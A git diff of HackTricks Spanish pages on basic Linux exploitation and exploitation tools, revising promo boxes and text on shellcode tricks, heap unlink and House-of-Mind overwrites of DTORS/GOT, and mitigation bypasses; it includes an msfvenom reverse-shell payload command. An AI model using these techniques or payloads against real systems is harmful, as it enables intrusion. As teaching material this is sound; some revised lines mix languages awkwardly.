-* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/exploiting/linux-exploiting-basic-esp/README.md b/exploiting/linux-exploiting-basic-esp/README.md
index 1a74feeb3..c03ab56a6 100644
--- a/exploiting/linux-exploiting-basic-esp/README.md
+++ b/exploiting/linux-exploiting-basic-esp/README.md
@@ -1,18 +1,19 @@
-# Explotación de Linux (Básico)
+# Linux Exploiting (Basic) (SPA)
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## **2.SHELLCODE**
@@ -41,9 +42,9 @@ fp = (void *)shellcode;
fp();
}
```
-Para confirmar que las llamadas al sistema se realizan correctamente, se debe compilar el programa anterior y las llamadas al sistema deben aparecer en **strace ./PROGRAMA\_COMPILADO**
+Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA\_COMPILADO**
-Al crear shellcodes, se puede utilizar un truco. La primera instrucción es un salto a una llamada. La llamada ejecuta el código original y también coloca el EIP en la pila. Después de la instrucción de llamada, hemos colocado la cadena que necesitamos, por lo que con ese EIP podemos apuntar a la cadena y continuar ejecutando el código.
+A la hora de crear shellcodes se puede realizar un truco. La primera instrucción es un jump a un call. El call llama al código original y además mete en el stack el EIP. Después de la instrucción call hemos metido el string que necesitásemos, por lo que con ese EIP podemos señalar al string y además continuar ejecutando el código.
EJ **TRUCO (/bin/sh)**:
```
@@ -93,13 +94,13 @@ fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
```
-**Buscador de Egg:**
+**Egg Huter:**
-Es un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode guardada allí (busca alguna firma específica en la shellcode). Útil en casos donde solo hay un espacio limitado para inyectar código.
+Consists of a small code that traverses the memory pages associated with a process in search of the shellcode stored there (looks for a signature placed in the shellcode). Useful in cases where there is only a small space to inject code.
-**Shellcodes Polimórficos**
+**Shellcodes polimórficos**
-Son shells cifrados que contienen un pequeño código para descifrarlos y saltar a él, utilizando el truco de Call-Pop. Un **ejemplo sería un cifrado César**:
+Consist of encrypted shells that have a small code that decrypts them and jumps to it, using the Call-Pop trick this would be an **ejemplo cifrado cesar**:
```
global _start
_start:
@@ -118,104 +119,144 @@ call init
sc:
;Aquí va el shellcode
```
-## **5. Métodos complementarios**
+## **5.Métodos complementarios**
**Técnica de Murat**
-En Linux, todos los programas se mapean comenzando en 0xbfffffff.
+En linux todos los progamas se mapean comenzando en 0xbfffffff
-Al observar cómo se construye la pila de un nuevo proceso en Linux, se puede desarrollar un exploit de manera que el programa se inicie en un entorno donde la única variable sea la shellcode. La dirección de esta variable se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode).
+Viendo como se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode)
-De esta forma, se puede obtener de manera sencilla la dirección donde se encuentra la variable de entorno con la shellcode.
+De esta forma se obtendría de forma sensilla la dirección donde está la variable de entorno con la shellcode.
-Esto es posible gracias a que la función execle permite crear un entorno que solo contenga las variables de entorno deseadas.
+Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen
+
+##
+
+###
+
+###
+
+###
+
+###
### **Format Strings to Buffer Overflows**
-La función **sprintf** mueve una cadena formateada a una variable. Por lo tanto, se podría abusar del formateo de una cadena para causar un desbordamiento de búfer en la variable donde se copia el contenido. Por ejemplo, la carga útil `%.44xAAAA` escribirá 44B+"AAAA" en la variable, lo que puede causar un desbordamiento de búfer.
+La **sprintf mueve** una cadena formateada **a** una **variable.** Por lo tanto, podrías abusar del **formato** de una cadena para causar un **desbordamiento de búfer en la variable** donde se copia el contenido.\
+Por ejemplo, la carga útil `%.44xAAAA` **escribirá 44B+"AAAA" en la variable**, lo que puede causar un desbordamiento de búfer.
-### **Estructuras \_\_atexit**
+### **\_\_atexit Structures**
{% hint style="danger" %}
-Hoy en día es muy raro explotar esto.
+Hoy en día es muy **raro explotar esto**.
{% endhint %}
-`atexit()` es una función a la que se le pasan otras funciones como parámetros. Estas funciones se ejecutarán al ejecutar un `exit()` o al retornar del `main`. Si se puede modificar la dirección de alguna de estas funciones para que apunte a una shellcode, por ejemplo, se obtendrá el control del proceso, pero actualmente esto es más complicado. Actualmente, las direcciones de las funciones a ejecutar están ocultas detrás de varias estructuras y, finalmente, la dirección a la que apuntan no son las direcciones de las funciones, sino que están encriptadas con XOR y desplazamientos con una clave aleatoria. Por lo tanto, actualmente este vector de ataque no es muy útil, al menos en x86 y x64_86. La función de encriptación es `PTR_MANGLE`. Otras arquitecturas como m68k, mips32, mips64, aarch64, arm, hppa... no implementan la función de encriptación porque devuelve lo mismo que recibe como entrada. Por lo tanto, estas arquitecturas podrían ser atacadas por este vector.
+**`atexit()`** es una función a la que se **pasan otras funciones como parámetros.** Estas **funciones** serán **ejecutadas** al ejecutar un **`exit()`** o el **retorno** de la **main**.\
+Si puedes **modificar** la **dirección** de cualquiera de estas **funciones** para apuntar a una shellcode, por ejemplo, **ganarás control** del **proceso**, pero esto es actualmente más complicado.\
+Actualmente las **direcciones a las funciones** que se ejecutarán están **ocultas** detrás de varias estructuras y finalmente la dirección a la que apuntan no son las direcciones de las funciones, sino que están **encriptadas con XOR** y desplazamientos con una **clave aleatoria**. Así que actualmente este vector de ataque **no es muy útil al menos en x86** y **x64\_86**.\
+La **función de encriptación** es **`PTR_MANGLE`**. **Otras arquitecturas** como m68k, mips32, mips64, aarch64, arm, hppa... **no implementan la función de encriptación** porque **devuelven lo mismo** que recibieron como entrada. Así que estas arquitecturas serían atacables por este vector.
### **setjmp() & longjmp()**
{% hint style="danger" %}
-Hoy en día es muy raro explotar esto.
+Hoy en día es muy **raro explotar esto**.
{% endhint %}
-`Setjmp()` permite guardar el contexto (los registros). `longjmp()` permite restaurar el contexto. Los registros guardados son: `EBX, ESI, EDI, ESP, EIP, EBP`. Lo que sucede es que EIP y ESP son pasados por la función `PTR_MANGLE`, por lo que las arquitecturas vulnerables a este ataque son las mismas que se mencionaron anteriormente. Son útiles para la recuperación de errores o interrupciones. Sin embargo, por lo que he leído, los otros registros no están protegidos, por lo que si hay un `call ebx`, `call esi` o `call edi` dentro de la función llamada, se puede tomar el control. También se podría modificar EBP para modificar ESP.
+**`Setjmp()`** permite **guardar** el **contexto** (los registros)\
+**`longjmp()`** permite **restaurar** el **contexto**.\
+Los **registros guardados** son: `EBX, ESI, EDI, ESP, EIP, EBP`\
+Lo que sucede es que EIP y ESP son pasados por la **función `PTR_MANGLE`**, así que las **arquitecturas vulnerables a este ataque son las mismas que las anteriores**.\
+Son útiles para recuperación de errores o interrupciones.\
+Sin embargo, por lo que he leído, los otros registros no están protegidos, **así que si hay un `call ebx`, `call esi` o `call edi`** dentro de la función llamada, se puede tomar el control. O también podrías modificar EBP para modificar el ESP.
-### **VTable y VPTR en C++**
+**VTable y VPTR en C++**
-Cada clase tiene una Vtable que es un array de punteros a métodos.
+Cada clase tiene una **Vtable** que es un array de **punteros a métodos**.
-Cada objeto de una clase tiene un VPtr que es un puntero al array de su clase. El VPtr es parte del encabezado de cada objeto, por lo que si se logra sobrescribir el VPtr, se podría modificar para que apunte a un método ficticio, de modo que al ejecutar una función se dirija a la shellcode.
+Cada objeto de una **clase** tiene un **VPtr** que es un **puntero** al array de su clase. El VPtr es parte del encabezado de cada objeto, así que si se logra un **sobrescritura** del **VPtr** podría ser **modificado** para **apuntar** a un método ficticio de modo que ejecutar una función iría a la shellcode.
## **Medidas preventivas y evasiones**
-### **Reemplazo de Libsafe**
+###
-Se activa con: LD_PRELOAD=/lib/libsafe.so.2 o "/lib/libsave.so.2" > /etc/ld.so.preload
+**Reemplazo de Libsafe**
-Intercepta las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado (solo para x86, no para compilaciones con -fomit-frame-pointer, no para compilaciones estáticas, no todas las funciones vulnerables se vuelven seguras y LD_PRELOAD no funciona en binarios con suid).
+Se activa con: LD\_PRELOAD=/lib/libsafe.so.2\
+o\
+“/lib/libsave.so.2” > /etc/ld.so.preload
-### **Espacio de direcciones ASCII Armored**
+Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaciones con -fomit-frame-pointer, no compilaciones estáticas, no todas las funciones vulnerables se vuelven seguras y LD\_PRELOAD no sirve en binarios con suid).
-Consiste en cargar las librerías compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene casi ningún ataque, y menos en little endian.
+**ASCII Armored Address Space**
-### **ret2plt**
+Consiste en cargar las librerías compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian.
-Consiste en realizar un ROP de manera que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2º byte de system()... Al final se llama la dirección guardada en GOT que será system().
+**ret2plt**
-### **Jaulas con chroot()**
+Consiste en realizar un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2º byte de system()… Al final se llama la dirección guardada en GOT que será system()
+
+**Jaulas con chroot()**
debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico
-Un administrador puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd ..
+Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd ..
-### **Instrumentación de código**
+**Instrumentación de código**
-Valgrind —> Busca errores Memcheck RAD (Return Address Defender) Insure++
+Valgrind —> Busca errores\
+Memcheck\
+RAD (Return Address Defender)\
+Insure++
## **8 Heap Overflows: Exploits básicos**
**Trozo asignado**
-prev_size | size | —Cabecera \*mem | Datos
+prev\_size |\
+size | —Cabecera\
+\*mem | Datos
**Trozo libre**
-prev_size | size | \*fd | Ptr forward chunk \*bk | Ptr back chunk —Cabecera \*mem | Datos
+prev\_size |\
+size |\
+\*fd | Ptr forward chunk\
+\*bk | Ptr back chunk —Cabecera\
+\*mem | Datos
-Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan).
+Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan)
-En "size" hay bits para indicar: si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario.
+En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario.
-Si al liberar un trozo alguno de los contiguos se encuentra libre, estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte en el bin adecuado.
+Si al liberar un trozo alguno de los contiguos se encuentra libre, estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado.
-unlink(){ BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk }
+unlink(){\
+BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes\
+FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes\
+FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk\
+BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk\
+}
-Por lo tanto, si logramos modificar P->bk con la dirección de una shellcode y P->fd con la dirección de una entrada en la GOT o DTORS menos 12, se logra:
+Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra:
-BK = P->bk = &shellcode FD = P->fd = &__dtor_end__ - 12 FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode
+BK = P->bk = \&shellcode\
+FD = P->fd = &\_\_dtor\_end\_\_ - 12\
+FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
-Y así, al salir del programa, se ejecutará la shellcode.
+Y así se ejecuta al salir del programa la shellcode.
-Además, la cuarta sentencia de unlink() escribe algo y la shellcode debe estar preparada para esto:
+Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar reparada para esto:
-BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode.
+BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode.
-Por lo tanto, el exploit se crea:
+Por lo tanto el exploit se crea:
-En el buffer1 se inserta la shellcode comenzando con un jmp para que caiga en los nops o en el resto de la shellcode.
+En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode.
-Después de la shellcode, se inserta relleno hasta llegar al campo prev_size y size del siguiente trozo. En estos lugares se inserta 0xfffffff0 (para sobrescribir prev_size y marcarlo como libre) y "-4" (0xfffffffc) en size (para que al comprobar en el tercer trozo si el segundo estaba libre, en realidad vaya al prev_size modificado que indicará que está libre) -> Así, cuando free() investigue, irá al size del tercer trozo pero en realidad irá al segundo - 4 y pensará que el segundo trozo está libre. Entonces, llamará a **unlink()**.
-Al calling unlink() se usará P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso).
+Después de la shell code metemos relleno hasta llegar al campo prev\_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescriba el prev\_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev\_size modificado que le dirá que está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**.
+
+Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quiere sobrescribir - 12 (pues en FD->bk le sumará 12 a la dirección guardada en FD). Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode (P->bk falso).
**from struct import \***
@@ -235,7 +276,7 @@ Al calling unlink() se usará P->fd los primeros datos del 2º trozo por lo que
**addr\_sc = pack("\bins\[2] escribimos el valor de \_\_DTOR\_END\_\_-12 en l
Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR\_END\_\_-12 porque de ahí la sacará av->bins\[2]
En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap\_for\_ptr() piense que el ar\_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2]
-En el segundo fragmento y gracias al primero sobreescribimos el prev\_size con un jump 0x0c y el size con algo para activar -> NON\_MAIN\_ARENA
-A continuación en el fragmento 2 ponemos un montón de nops y finalmente la shellcode
+En el segundo trozo y gracias al primero sobrescribimos el prev\_size con un jump 0x0c y el size con algo para activar -> NON\_MAIN\_ARENA
+
+A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode
De esta forma se llamará a \_int\_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR\_END\_\_ la dirección del prev\_size del TROZO2 el cual saltará a la shellcode.
@@ -371,9 +413,9 @@ De esta forma si se pone en “fb” da dirección de una función en la GOT, en
Dado que con The House of Mind se vio que nosotros controlábamos la posición del av.
-Entones si en el campo size ponemos un tamaño de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() nos devolverá fastbins\[-1], que apuntará a av->max\_fast
+Entonces si en el campo size ponemos un tamaño de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() nos devolverá fastbins\[-1], que apuntará a av->max\_fast
-En este caso av->max\_fast será la dirección que se sobrescrita (no a la que apunte, sino esa posición será la que se sobrescrita).
+En este caso av->max\_fast será la dirección que se sobrescribirá (no a la que apunte, sino esa posición será la que se sobrescribirá).
Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops).
@@ -417,11 +459,11 @@ Es necesario:
* Una llamada a malloc() con el tamaño definido por el usuario
* Una llamada a malloc() cuyos datos puedan ser definidos por el usuario
-Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cualquiera solicitud de memoria lo suficientemente grande será tratada en \_int\_malloc() sin necesidad de expandir el heap
+Lo primero que se hace es sobreescribir el size del trozo wilderness con un valor muy grande (0xffffffff), así cual quiera solicitud de memoria lo suficientemente grande será tratada en \_int\_malloc() sin necesidad de expandir el heap
Lo segundo es alterar el av->top para que apunte a una zona de memoria bajo el control del atacante, como el stack. En av->top se pondrá \&EIP - 8.
-Tenemos que sobreescrbir av->top para que apunte a la zona de memoria bajo el control del atacante:
+Tenemos que sobrescribir av->top para que apunte a la zona de memoria bajo el control del atacante:
victim = av->top;
@@ -443,7 +485,8 @@ Es importante saber que el size del nuevo trozo wilderness sea más grande que l
Los trozos liberados se introducen en el bin en función de su tamaño. Pero antes de introduciros se guardan en unsorted bins. Un trozo es liberado no se mete inmediatamente en su bin sino que se queda en unsorted bins. A continuación, si se reserva un nuevo trozo y el anterior liberado le puede servir se lo devuelve, pero si se reserva más grande, el trozo liberado en unsorted bins se mete en su bin adecuado.
-Para alcanzar el código vulnerable la solicitud de memora deberá ser mayor a av->max\_fast (72normalmente) y menos a MIN\_LARGE\_SIZE (512).
+Para alcanzar el código vulnerable la solicitud de memoria deberá ser mayor a av->max\_fast (72 normalmente) y menos a MIN\_LARGE\_SIZE (512).
+
Si en los bin hay un trozo del tamaño adecuado a lo que se pide se devuelve ese después de desenlazarlo:
bck = victim->bk; Apunta al trozo anterior, es la única info que podemos alterar.
@@ -468,13 +511,13 @@ Así el bin deberá esperar turno a que se llame a malloc() suficientes veces co
Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida.
-Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero.
+Para proteger este ataque se usó la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero.
**Corrupción LargeBin**
Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512.
-El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE.
+El ataque es como el anterior, es decir, hay que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE.
Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned)
@@ -482,7 +525,7 @@ Además se ha introducido un parche para hacerlo aún más complicado.
**Heap Spraying**
-Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximos posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops.
+Básicamente consiste en reservar toda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximo posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops.
**Heap Feng Shui**
@@ -496,7 +539,7 @@ Consiste en mediante reservas y liberaciones sementar la memoria de forma que qu
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
-**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\
+**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobrescribir en le GOT\
**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\
**objdump -p -/exec**\
**Info functions strncmp —>** Info de la función en gdb
@@ -511,16 +554,17 @@ Consiste en mediante reservas y liberaciones sementar la memoria de forma que qu
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende a hackear AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
diff --git a/exploiting/tools/README.md b/exploiting/tools/README.md
index 67d5179a4..98abe6db8 100644
--- a/exploiting/tools/README.md
+++ b/exploiting/tools/README.md
@@ -1,18 +1,19 @@
# Herramientas de Explotación
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Red Team de AWS de HackTricks)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
## Metasploit
```
@@ -22,13 +23,13 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
-### Códigos Shell
+### Shellcodes
```
msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB
-### Instalación
+### Instalar
```
apt-get install gdb
```
@@ -124,22 +125,22 @@ gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
-### Trucos
+### Tricks
-#### Mismas direcciones en GDB
+#### GDB mismas direcciones
-Mientras se depura, GDB tendrá **direcciones ligeramente diferentes a las utilizadas por el binario al ejecutarse.** Puedes hacer que GDB tenga las mismas direcciones haciendo lo siguiente:
+Mientras depuras, GDB tendrá **direcciones ligeramente diferentes a las utilizadas por el binario al ejecutarse.** Puedes hacer que GDB tenga las mismas direcciones haciendo:
* `unset env LINES`
* `unset env COLUMNS`
-* `set env _=` _Coloca la ruta absoluta al binario_
-* Explota el binario usando la misma ruta absoluta
-* `PWD` y `OLDPWD` deben ser iguales al usar GDB y al explotar el binario
+* `set env _=` _Coloca la ruta absoluta al binario_
+* Explota el binario utilizando la misma ruta absoluta
+* `PWD` y `OLDPWD` deben ser las mismas al usar GDB y al explotar el binario
-#### Rastrear para encontrar funciones llamadas
+#### Backtrace para encontrar funciones llamadas
